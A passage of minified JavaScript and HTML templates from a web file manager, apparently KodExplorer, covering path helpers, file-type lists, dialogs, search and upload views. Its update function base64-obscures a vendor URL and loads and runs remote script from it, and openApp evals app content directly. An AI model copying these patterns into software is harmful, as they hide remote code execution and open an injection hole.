e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement; t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return 